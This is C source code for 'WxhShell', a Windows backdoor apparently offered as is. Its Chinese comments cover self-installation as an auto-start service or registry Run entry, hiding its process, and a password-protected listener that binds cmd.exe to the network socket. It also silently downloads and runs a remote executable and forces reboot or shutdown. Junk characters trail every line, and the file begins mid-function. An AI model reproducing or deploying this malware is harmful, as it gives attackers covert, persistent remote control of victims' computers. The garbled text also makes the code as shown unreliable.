    if(Boot(SHUTDOWN)) 2u*KM`fa`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ffta](Z;  
    else { Px`!A EFd[  
    closesocket(wsh); ^V Zk+'4  
    ExitThread(0); HcSXsF  
    } JQHvz9Yg  
    break; (|1A?@sJ#h  
    } j*TYoH1  
  // 获取shell __GqQUQ  
  case 's': { 6]%sFy2  
    CmdShell(wsh); * U=s\  
    closesocket(wsh); pYZ6e_j1 ~  
    ExitThread(0); 'o>B'$  
    break; -"60d @.  
  } H6 HVu |  
  // 退出 @eIJ]p  
  case 'x': { q\p:X"j|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tQYM&6g  
    CloseIt(wsh); +@k+2?] FO  
    break; eu|;eP-+d  
    } 6wECo  
  // 离开 !.(P~j][  
  case 'q': { I( 7NQ8H x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VYImI>.t{  
    closesocket(wsh); Ob`d  
    WSACleanup(); !AfHk|  
    exit(1); @;?p&.W`D  
    break; q0r>2c-d  
        } 0eu$ W  
  } 3r."j2$Hs0  
  } H{?vbqQ  
g0Gf6o>2  
  // 提示信息 YRN06*hS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v+#}rUTF  
} OL,TFLn4  
  } ^qQZT]  
|My4SoOF  
  return; \k!{uRy'  
} !SdSE^lz`  
x$Oq0d{T  
// shell模块句柄 n!xt5=x P{  
int CmdShell(SOCKET sock) /Uy"M:|V1  
{ 9}F*P669f  
STARTUPINFO si; e:n<EnT  
ZeroMemory(&si,sizeof(si)); T@&K- UQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OO*zhGD;[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d,Yw5$i  
PROCESS_INFORMATION ProcessInfo; P&ptJtNg  
char cmdline[]="cmd"; RM]M@%,K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B s#hr3h-  
  return 0; yS(fILV  
} 8sM|%<$=j  
EL 8<U  
// 自身启动模式 l@+7:n4K0  
int StartFromService(void) JJ2_hVU  
{ sjwo/+2  
typedef struct 9s$CA4?HP  
{ [b>Fn%y  
  DWORD ExitStatus; >A"v ed8  
  DWORD PebBaseAddress; ![_*(8v}S  
  DWORD AffinityMask; \T:i{.i  
  DWORD BasePriority; 6BbGA*%{  
  ULONG UniqueProcessId; ~8P!XAU56%  
  ULONG InheritedFromUniqueProcessId; z(Pe,zES  
}   PROCESS_BASIC_INFORMATION; .e=:RkI,  
ADP%QTdqFJ  
PROCNTQSIP NtQueryInformationProcess; Et/\xL  
D rHV G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *%fi/bimG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F9E<K]7K  
CpeU5 o@  
  HANDLE             hProcess; _Wp{ [TH  
  PROCESS_BASIC_INFORMATION pbi; nv%rJy*w[  
fW3(&@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I]<_rN8~o  
  if(NULL == hInst ) return 0; B!_mC<*4`X  
(# Gw1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MLje4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ke]Lw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rrqR}}l  
4Thn])%I  
  if (!NtQueryInformationProcess) return 0; Ix!Iw[CNd  
L>W'LNXCv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D=m9fFz  
  if(!hProcess) return 0; [nc4{0aT'  
>eqxV|]i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t2I5hSf  
v99B7VH4  
  CloseHandle(hProcess); uRRQyZ  
`V]5sE]G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r1.nTO%  
if(hProcess==NULL) return 0; zHL@i0>^  
ICs\ z  
HMODULE hMod; %g$V\zmU  
char procName[255]; /VS [pXXT|  
unsigned long cbNeeded; ,dov<U[ia  
(-xS?8x$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NI#:|}CYS  
,5kKimTt  
  CloseHandle(hProcess); G!W[8UG  
=K{"{5Wb  
if(strstr(procName,"services")) return 1; // 以服务启动 5eoska#y   
/ !Wu D\B  
  return 0; // 注册表启动 }Q?c"H!/  
} Hh-+/sO~"  
%?uc><&?e  
// 主模块 ;WM"cJo9  
int StartWxhshell(LPSTR lpCmdLine) $Ifmc`r1  
{ -UdEeZz.  
  SOCKET wsl; [}/LD3  
BOOL val=TRUE; u7\J\r4,+  
  int port=0; /#-C4"|  
  struct sockaddr_in door; R)z4n  
7X q,z  
  if(wscfg.ws_autoins) Install(); *4xat:@{{  
SHbtWq}T  
port=atoi(lpCmdLine); ~\.w^*$#Y  
^3{TZ=_;|  
if(port<=0) port=wscfg.ws_port; OK6] e3UO  
;04Ldb1{|3  
  WSADATA data; e8]\U/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8V)^R(\;  
r>"   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RGg(%.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n'01Hh`0  
  door.sin_family = AF_INET; oA7;.:3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V7[zAq  
  door.sin_port = htons(port); 2H6,'JK@F  
j =WST  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .0iQad&duh  
closesocket(wsl); U.XNv-M  
return 1; e~@ [18  
} R_68-WO  
wX[8A/JPD  
  if(listen(wsl,2) == INVALID_SOCKET) { )V ;mwT!Q  
closesocket(wsl); C] 9 p5Hs  
return 1; *R3f{/DK  
} *@Y3oh}S  
  Wxhshell(wsl); 6s\Kt3=  
  WSACleanup(); M^iU;vo  
ryCI>vJz  
return 0; Y$Y_fjd_  
.J.-Mm` .  
} I1\a[Xe8E  
Z@&Dki  
// 以NT服务方式启动 1_ C]*p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %1O[i4s:-  
{ 9h%?QC  
DWORD   status = 0; (+u39NQV  
  DWORD   specificError = 0xfffffff; J-) XQDD  
r'uGWW"w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $dzy%lle  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0B&Y ]*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1~ t{aLPz  
  serviceStatus.dwWin32ExitCode     = 0; F;[T#N:~  
  serviceStatus.dwServiceSpecificExitCode = 0; 7.@TK&  
  serviceStatus.dwCheckPoint       = 0; UkHY[M7;  
  serviceStatus.dwWaitHint       = 0; ,^WJm?R  
I_%a{$Gjl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4*mS y  
  if (hServiceStatusHandle==0) return; 6{+{lBm=y  
_5m#2u51i  
status = GetLastError(); w'fT=v)  
  if (status!=NO_ERROR) DUe&r,(4O  
{ E)7F\w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S:q3QgU=X  
    serviceStatus.dwCheckPoint       = 0; .G(llA}  
    serviceStatus.dwWaitHint       = 0; 7&"n`@(.!  
    serviceStatus.dwWin32ExitCode     = status; ;9ly'<up  
    serviceStatus.dwServiceSpecificExitCode = specificError; nJ"YIT1K]p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]%Nlv(  
    return; H_Kj7(=&>  
  } nF4a-H&Fo  
.OqSch|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qb; d:@9  
  serviceStatus.dwCheckPoint       = 0; M=*bh5t%]  
  serviceStatus.dwWaitHint       = 0; xIGfM>uq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ''^Y>k  
} "/6:6`J  
=w5O&(  
// 处理NT服务事件,比如:启动、停止 K ryo}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZA9sTc[ g  
{ )d-.M  
switch(fdwControl) :%AL\ n  
{ ;Y mTw  
case SERVICE_CONTROL_STOP: ZP$-uaa-  
  serviceStatus.dwWin32ExitCode = 0; ND,Kldji  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zBp{K@U[|M  
  serviceStatus.dwCheckPoint   = 0;  "t$k  
  serviceStatus.dwWaitHint     = 0; U{$1[,f  
  { EVUq--)~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3ZZV<SS  
  } iQ6epg1wB  
  return;  6XJ[h  
case SERVICE_CONTROL_PAUSE: }^*F59>H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .R8 HZ}3  
  break; $DC*i-}qFg  
case SERVICE_CONTROL_CONTINUE: P^Q[-e{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #9 fWAF  
  break; |R@~-Ht  
case SERVICE_CONTROL_INTERROGATE: ~h=X8-D  
  break; ZBG}3Z   
}; TLf9>= OVh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x]{E)d"!  
} j0GMTri3  
?$Wn!"EC8  
// 标准应用程序主函数 Z!&Rr~i <  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _l], "[d  
{ a=$t&7;,  
gx:;&4AD  
// 获取操作系统版本 ).HDru-2  
OsIsNt=GetOsVer(); *tX{MSYW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9Sq%s&  
5P h X"7  
  // 从命令行安装 <U9/InN0[  
  if(strpbrk(lpCmdLine,"iI")) Install(); f8<o8*`7  
R%H$%cnj  
  // 下载执行文件 %F9{EXJy  
if(wscfg.ws_downexe) { o}'bv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $hVYTy~}  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]PP:oriWl  
} W Qzj[  
lhYn5d)DV  
if(!OsIsNt) { " ;w}3+R  
// 如果时win9x,隐藏进程并且设置为注册表启动 #W2[  
HideProc(); Y'3}G<'%  
StartWxhshell(lpCmdLine); asgF1?r  
} FNQX7O52  
else 's!-80sd  
  if(StartFromService()) ExXM:1 e26  
  // 以服务方式启动 _uu<4c   
  StartServiceCtrlDispatcher(DispatchTable); cj|*_}  
else u%dKig  
  // 普通方式启动 %_aMl  
  StartWxhshell(lpCmdLine); w$5A|%Y+V}  
PS" .R_"  
return 0; daAyx-  
} TfZ6F8|B  
MZSxQ8  
Ti;Ijcq8  
fKa\7{R  
=========================================== 2~p[7?sp'  
}5O>EXE0R  
hc$@J}`  
\hP=-J[~C  
8?Y['  
Vjm_F!S  
" M}"r#Plq  
yISD/ g  
#include <stdio.h> MuEy>dl  
#include <string.h> L1)@z8]   
#include <windows.h> tue/4Q#7  
#include <winsock2.h> =vh8T\  
#include <winsvc.h> %YlTF\-  
#include <urlmon.h> MY nH2w]  
@gBE{)Fj  
#pragma comment (lib, "Ws2_32.lib") q1hMmMi  
#pragma comment (lib, "urlmon.lib") z&3]%t `C  
1(GHCxA8G  
#define MAX_USER   100 // 最大客户端连接数 ^yKY'>T#d  
#define BUF_SOCK   200 // sock buffer y9;#1:ic  
#define KEY_BUFF   255 // 输入 buffer $ 'QdFkOr  
]&i+!$N_  
#define REBOOT     0   // 重启 7TX,T|>9  
#define SHUTDOWN   1   // 关机 6a>H|"P NE  
W*xX{$NL  
#define DEF_PORT   5000 // 监听端口 >^"BEG9i:  
<3O T>E[  
#define REG_LEN     16   // 注册表键长度 "!Rw)=7O  
#define SVC_LEN     80   // NT服务名长度 IdRdW{o  
FF Gqa&  
// 从dll定义API bYh9sO/l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zyN (4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EZ(^~k=I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }Ewo_P&`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -lRhz!E]  
L$Z(+6m5  
// wxhshell配置信息 qMS}t3X  
struct WSCFG { ^2M!*p&h  
  int ws_port;         // 监听端口 ~j @UlP  
  char ws_passstr[REG_LEN]; // 口令 <-jGqUN_I  
  int ws_autoins;       // 安装标记, 1=yes 0=no fjDpwb:x)  
  char ws_regname[REG_LEN]; // 注册表键名 oBlzHBn>0  
  char ws_svcname[REG_LEN]; // 服务名 8!h'j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ._p""'Sa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5>ST"l_ca  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O'}l lo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  ?9u4a_x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {%']w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d\XRUO[  
$-@$i`Kf/  
}; CYB=Uq,  
K:qOoY  
// default Wxhshell configuration Ha ZFxh-(  
struct WSCFG wscfg={DEF_PORT, bEr.nF  
    "xuhuanlingzhe", %f[Ep 3D  
    1, D?+ RJs  
    "Wxhshell", 8tWE=8<  
    "Wxhshell", ~%q7Vmk9  
            "WxhShell Service", |r~ uos  
    "Wrsky Windows CmdShell Service", iM64,wnA  
    "Please Input Your Password: ", bGh0<r7R  
  1, %7`d/dgR  
  "http://www.wrsky.com/wxhshell.exe", Wm6dQQ;Bj  
  "Wxhshell.exe" )hL^+Nn bR  
    }; !J.rM5K  
5urE  
// 消息定义模块 Y%v P#>h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ix Ow=!@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r2G*!qK*1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z[,`"}}hv=  
char *msg_ws_ext="\n\rExit."; bBE^^9G=Z  
char *msg_ws_end="\n\rQuit."; }g,X5v?W  
char *msg_ws_boot="\n\rReboot..."; z=?0)e(H,  
char *msg_ws_poff="\n\rShutdown..."; &R\XUxI  
char *msg_ws_down="\n\rSave to "; 6hbEO-(  
C"T ,MH  
char *msg_ws_err="\n\rErr!"; ?2~U2Ir]:  
char *msg_ws_ok="\n\rOK!"; 8SD}nFQ  
=O^7TrM  
char ExeFile[MAX_PATH]; R/N<0!HZ  
int nUser = 0; l:tpL(%  
HANDLE handles[MAX_USER]; V}`M<A6:  
int OsIsNt; *t =i  
'=%i,  
SERVICE_STATUS       serviceStatus; 7L{li-crI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p6blD-v  
!=M/j}  
// 函数声明 6bL"LM`s  
int Install(void); lgG8!Ja  
int Uninstall(void); Kpu<rKP`  
int DownloadFile(char *sURL, SOCKET wsh); j-P^Zv};u  
int Boot(int flag); )b9I@)C  
void HideProc(void); <jL#>L%%  
int GetOsVer(void); f sX;Nj]  
int Wxhshell(SOCKET wsl); 0e9A+&r  
void TalkWithClient(void *cs); w:tGPort  
int CmdShell(SOCKET sock); DM/hcY$MW  
int StartFromService(void); Y<ElJ>A2I  
int StartWxhshell(LPSTR lpCmdLine); \2eFpy(  
 'O1.6*K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )n7)}xy#z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j];1"50?  
n^Au*'  
// 数据结构和表定义 7dhn'TW  
SERVICE_TABLE_ENTRY DispatchTable[] = k <}I<Or  
{ `]yKM0 Z  
{wscfg.ws_svcname, NTServiceMain}, qi[(*bFK7  
{NULL, NULL} s@M  
}; kOM-  
LI$L9eNv;Y  
// 自我安装 )O-sWh4  
int Install(void) sRil>6QR  
{ i0&) N,5_  
  char svExeFile[MAX_PATH]; %~(~W>^A  
  HKEY key; n1`T#%e  
  strcpy(svExeFile,ExeFile); ks^|>  
0- Yeu5A  
// 如果是win9x系统,修改注册表设为自启动 $pBr &,  
if(!OsIsNt) { >huqt|S*9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { { ;' :h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pqd4iR Wv  
  RegCloseKey(key); 1'OD3~[R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7#/|VQX<A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oylp:_<aT  
  RegCloseKey(key); R^?PAHE 7  
  return 0; j<|6s,&  
    } = tP$re";o  
  } I1J)#p%H.  
} .i\wE@v  
else { !Ba3` B5l  
].c@Gm_(  
// 如果是NT以上系统,安装为系统服务 ~)!VV)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o9^$hDs,si  
if (schSCManager!=0) 6A@Lj*:2m  
{ VG#$fRrZ  
  SC_HANDLE schService = CreateService :EaiM J_=  
  ( {C,  #rj  
  schSCManager, ^8U6"O6|X  
  wscfg.ws_svcname, ma`w\8 a  
  wscfg.ws_svcdisp, ;C6O3@Q  
  SERVICE_ALL_ACCESS, IM2/(N.%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t"#lnG!G  
  SERVICE_AUTO_START, Fj48quW1\P  
  SERVICE_ERROR_NORMAL, FRD<0o/`  
  svExeFile, fzOMX z  
  NULL, *@=fq|6l 2  
  NULL, A<1l^%i  
  NULL, \c'%4Ao  
  NULL, 0I6499FQ  
  NULL 7j{Te)"  
  ); K-ju,4A  
  if (schService!=0) ,$SkaTBe  
  { <y'qo8oqF  
  CloseServiceHandle(schService); } pSt@3o,  
  CloseServiceHandle(schSCManager); N)Qlkz$X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^w ]1qjGw  
  strcat(svExeFile,wscfg.ws_svcname); jBGG2[hV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nEuct4BcL}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MgSp.<!  
  RegCloseKey(key); jm~mhAE#  
  return 0; ge@reGfsB1  
    } 'II vub#q  
  } ^$ZI>L0+  
  CloseServiceHandle(schSCManager); 9O2a | d  
} 7n$AkzO0  
} kkG_ +Y  
($,iAb  
return 1; /:Rn"0   
} v^57j:sD  
`=PB2'  
// 自我卸载 hu`L v  
int Uninstall(void) aslNlH6  
{ _g^E%@'W  
  HKEY key; Rs^jk)Z:)  
"o~N42DLB%  
if(!OsIsNt) { D'Jm!Ap  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `8qT['`#R  
  RegDeleteValue(key,wscfg.ws_regname); 20S9/9ll  
  RegCloseKey(key); ;N9n'Sq4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _-YL!oP  
  RegDeleteValue(key,wscfg.ws_regname); 'bbV<? ):  
  RegCloseKey(key); )jp{*?^\  
  return 0; )+VHt  
  } U`HXsq p}  
} A)~ /~  
} m.;{ 8AM%f  
else { _wIBm2UO  
7/[TE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >}xAg7\^  
if (schSCManager!=0) #3AYz82w  
{ & bp#1KR)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "Yc^Nc  
  if (schService!=0) |8&\N  
  { 8T!fGzHx  
  if(DeleteService(schService)!=0) { ym-lT|>Z  
  CloseServiceHandle(schService); j=!(F`/  
  CloseServiceHandle(schSCManager); B Lsdx }  
  return 0; .Bm^3A  
  } |*/uN~[  
  CloseServiceHandle(schService); >e5q2U   
  } ~ 4p]E'b  
  CloseServiceHandle(schSCManager); %N?W]vbra  
} ^59YfC<f  
} Y`E {E|J  
>llwNT  
return 1; )VV4HoH]8  
} \.XT:B_  
"W3n BaG  
// 从指定url下载文件 '=Ip5A{S/  
int DownloadFile(char *sURL, SOCKET wsh) v '"1/% L  
{ rH [+/&w5  
  HRESULT hr; lN*1zM<6;  
char seps[]= "/"; \ (3Qqbw  
char *token; P22y5z~  
char *file; DKaG?Y,*p  
char myURL[MAX_PATH]; )U"D4j*p  
char myFILE[MAX_PATH]; [<@A8Q5,y  
8\W3Fv Q  
strcpy(myURL,sURL); OXa5Jg}=  
  token=strtok(myURL,seps); 4jq`No_  
  while(token!=NULL) \]~kyy  
  { ePPp)=  
    file=token; 2\$WP-)%  
  token=strtok(NULL,seps); l>[QrRXiSN  
  } LRqw\fKk[  
-=v/p*v0o  
GetCurrentDirectory(MAX_PATH,myFILE); g9 grfN  
strcat(myFILE, "\\"); "'&>g4F`o  
strcat(myFILE, file); d=c1WK  
  send(wsh,myFILE,strlen(myFILE),0); *cI6 &;y  
send(wsh,"...",3,0);  !z "a_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m;$F@JJ  
  if(hr==S_OK) k=d%.kg  
return 0; 6@ (k8<3  
else |P[D2R}  
return 1; {YxSH %  
s$+: F$Y0  
} NL>[8#  
lN= m$J  
// 系统电源模块 ~8n~4  
int Boot(int flag) eaZ)1od  
{ ] _]6&PZXk  
  HANDLE hToken; -h^} jP8  
  TOKEN_PRIVILEGES tkp; =4w^)'/  
CoKj'jA  
  if(OsIsNt) { B[U.CAUn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ? A^3.`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :g]HB ,78  
    tkp.PrivilegeCount = 1; }fa%JN %E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GmEJ,%A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k:HSB</}  
if(flag==REBOOT) { ys"mP* wD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \8@[bpI@g  
  return 0; ;?Y` e  
}  c+G:@%  
else { c?3F9 w#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ck4T#g;=  
  return 0; 9DP75 ti  
} wYS KtG~/S  
  } 07G*M ]  
  else { >sl1 cC  
if(flag==REBOOT) { =+sIX3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5k7(!  
  return 0;   xhVq  
} JQvQm|\nc  
else { NXG}0`QVT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OrKT~JQVC&  
  return 0; WriJco<v  
} N6m*xxI{  
} ( _F  
lDX&v$  
return 1; %q\P'cK  
} $/U^/2)  
Vl QwVe  
// win9x进程隐藏模块 M0"g/W  
void HideProc(void) tV}ajs  
{ (HX[bG`  
q.hc%s2?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _-yF9g"I  
  if ( hKernel != NULL ) Hh'14n&W  
  { %n`iA7j$W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FoelOq6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \ ]e w@C  
    FreeLibrary(hKernel); !kk %;XSZ  
  } gm%bxr@X~  
3lrZ-k+S{  
return; >|o9ggL`J5  
} & b^*N5<Z  
B,na  
// 获取操作系统版本 x2IU PM  
int GetOsVer(void) JI#Enh!Lv  
{ L|xen*O  
  OSVERSIONINFO winfo; &.bR1wX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *U^\Mwp  
  GetVersionEx(&winfo); "GC]E8&>H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PAWr1]DI  
  return 1; )GT?Wd  
  else *t-A6)2  
  return 0; tH|Q4C  
} A ** M"T  
QT&Ws+@ s{  
// 客户端句柄模块 ah$7 Oudj  
int Wxhshell(SOCKET wsl) 1#X= &N  
{ :@807OYzy  
  SOCKET wsh; kG7,1teMk  
  struct sockaddr_in client; $(mdz)Cfy  
  DWORD myID; =&g}Y  
aD3F!Sn  
  while(nUser<MAX_USER) v]Q_  
{ (,9cCnvmYU  
  int nSize=sizeof(client); Ch&]<#E>`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XTXo xZ#w  
  if(wsh==INVALID_SOCKET) return 1; 3ij I2Zy  
NCpn^m)Q}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4a50w:Jy]  
if(handles[nUser]==0) YH+\rb_  
  closesocket(wsh); gm\o>YclS  
else X\)KVn`  
  nUser++; 6!D  
  } >]08".ajS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r^tXr[}  
= (h;L$  
  return 0; b0x0CMf  
} ^9f`3~!#bc  
6XCX#4'i%  
// 关闭 socket w\;9&;;  
void CloseIt(SOCKET wsh) *SG2k .$  
{ ?g#t3j>zoF  
closesocket(wsh); 3&Zx*:  
nUser--; ex!w Y  
ExitThread(0); Gy7x?  
} Vwg|?sG_  
`} Zbfe~  
// 客户端请求句柄 1,!\7@<CT  
void TalkWithClient(void *cs) yl+)I  
{ Y52xrIvl\  
@X><lz  
  SOCKET wsh=(SOCKET)cs; 34M.xB   
  char pwd[SVC_LEN]; csA.3|rv  
  char cmd[KEY_BUFF]; bh6wI%8H  
char chr[1]; w^6N :]d  
int i,j; 3EX&.OL!  
g<tTZD\g  
  while (nUser < MAX_USER) { tZ24}~da  
JkDZl?x5  
if(wscfg.ws_passstr) { t>u9NZt G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V>j`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u,9U0ua@;  
  //ZeroMemory(pwd,KEY_BUFF); &fhurzzAm  
      i=0; ]8nm9qmF<  
  while(i<SVC_LEN) { ?(UXK hs  
!td.ks0  
  // 设置超时 _ll aH  
  fd_set FdRead; / H/Ne )r  
  struct timeval TimeOut; $ttr_4=  
  FD_ZERO(&FdRead); 2j BE+k"M  
  FD_SET(wsh,&FdRead); b'"%   
  TimeOut.tv_sec=8; ;pK"N:|  
  TimeOut.tv_usec=0; c)YGwkY,,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #;\;F PuZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `%I{l  
2l4i-;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t|"d#5'  
  pwd=chr[0]; ghR]$SG  
  if(chr[0]==0xd || chr[0]==0xa) { fB}5,22  
  pwd=0; 'ZgW~G]S  
  break; 6U3@-+lF  
  } 8=AKOOU7>  
  i++; HCy}'}d  
    } )cBV; E<  
qf$|z`c  
  // 如果是非法用户,关闭 socket 2n:J7PGD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qz SI cI  
} =9MH  
2Yjysn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \uIC<#o"N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5i&V ~G  
rmoEc]kt]  
while(1) { 2 ~'quA  
%K,,Sl_  
  ZeroMemory(cmd,KEY_BUFF); n=MYv(Pp}  
[cs8/Q8+  
      // 自动支持客户端 telnet标准   @(?d0xCg  
  j=0; -^"?a]B  
  while(j<KEY_BUFF) { ?q&mI*j!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~H~4 fp b  
  cmd[j]=chr[0]; ~[,TLg 6  
  if(chr[0]==0xa || chr[0]==0xd) { J0plQDe  
  cmd[j]=0; +zPg`/  
  break; &<b7T$c  
  } =D$r5D/xd  
  j++; ->{WO+6(  
    } /T'nY{  
@C)h;TR  
  // 下载文件 GQNiBsV  
  if(strstr(cmd,"http://")) { P6'I:/V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +:Zi(SuS]  
  if(DownloadFile(cmd,wsh)) X;RI7{fW%X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mmK_xu~f28  
  else U<gw<[>f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ro$XbU)  
  } cK@K\AE  
  else { :M`BVZ1t  
"VCr^'  
